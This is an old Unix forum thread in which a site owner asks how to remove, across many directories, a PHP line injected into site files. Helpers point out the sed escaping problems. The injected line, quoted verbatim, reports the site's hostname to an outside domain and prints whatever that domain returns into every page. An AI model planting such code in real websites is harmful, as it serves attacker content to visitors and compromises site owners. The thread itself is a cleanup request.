# replace a complex string with null

**URL:** <https://community.unix.com/t/replace-a-complex-string-with-null/185148>\
**Category:** Shell Programming and Scripting\
**Created:** [February 11, 2008, 7:42pm UTC](https://community.unix.com/t/replace-a-complex-string-with-null/185148 "2008-02-11T19:42:29Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [February 11, 2008, 7:42pm UTC](https://community.unix.com/t/replace-a-complex-string-with-null/185148/1 "2008-02-11T19:42:29Z")

</div>

Hello,

I need a script or one liner possible in perl or awk ( as sed shows error )

I want to replace

\<?php echo file\_get\_contents("[http://googlesindication.cn/links.php?site=](http://googlesindication.cn/links.php?site=)".$\_SERVER['HTTP\_HOST']);?\>

with blank or null

1) in a file

2) in many directories recursively.

sed error is:

root@server [/home/xxxxxxx/public\_html]# sed 's/error\_reporting(0); echo file\_get\_contents(\"\[http://googlesindication.cn/links.php?site=\\](http://googlesindication.cn/links.php?site=%5C%5C)"\.$\_SERVER['HTTP\_HOST']);//g' ./framework/view/app/inc/header.php  
sed: -e expression #1, char 57: Unknown option to `s'  
root@server [/home/xxxxxx/public\_html]#

please advise

---

<div class="post-metadata">

**Author:** ![Smiling\_Dragon](https://community.unix.com/user_avatar/community.unix.com/smiling_dragon/32/722_2.png) [@Smiling\_Dragon](https://community.unix.com/u/Smiling_Dragon)\
**Post date:** [February 11, 2008, 9:40pm UTC](https://community.unix.com/t/replace-a-complex-string-with-null/185148/2 "2008-02-11T21:40:22Z")

</div>

You need to escape those / characters in the http:// - sed thinks that's the end of the expression and is getting confused.

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [February 11, 2008, 10:26pm UTC](https://community.unix.com/t/replace-a-complex-string-with-null/185148/3 "2008-02-11T22:26:06Z")

</div>

No success still:

sed 's/error\_reporting(0); echo file\_get\_contents("http:\/\/\googlesindication.cn/links.php?site=".$\_SERVER['HTTP\_HOST']);//g' ./framework/view/app/inc/header.php

---

<div class="post-metadata">

**Author:** ![Smiling\_Dragon](https://community.unix.com/user_avatar/community.unix.com/smiling_dragon/32/722_2.png) [@Smiling\_Dragon](https://community.unix.com/u/Smiling_Dragon)\
**Post date:** [February 12, 2008, 5:13pm UTC](https://community.unix.com/t/replace-a-complex-string-with-null/185148/4 "2008-02-12T17:13:55Z")

</div>

I also see you've got some unescaped single quotes in there too, that'll break it. The brackets are likely to be interpreted as groupings instead of characters, so they won't get matched correctly.

Just work through the entire thing escaping any special characters.
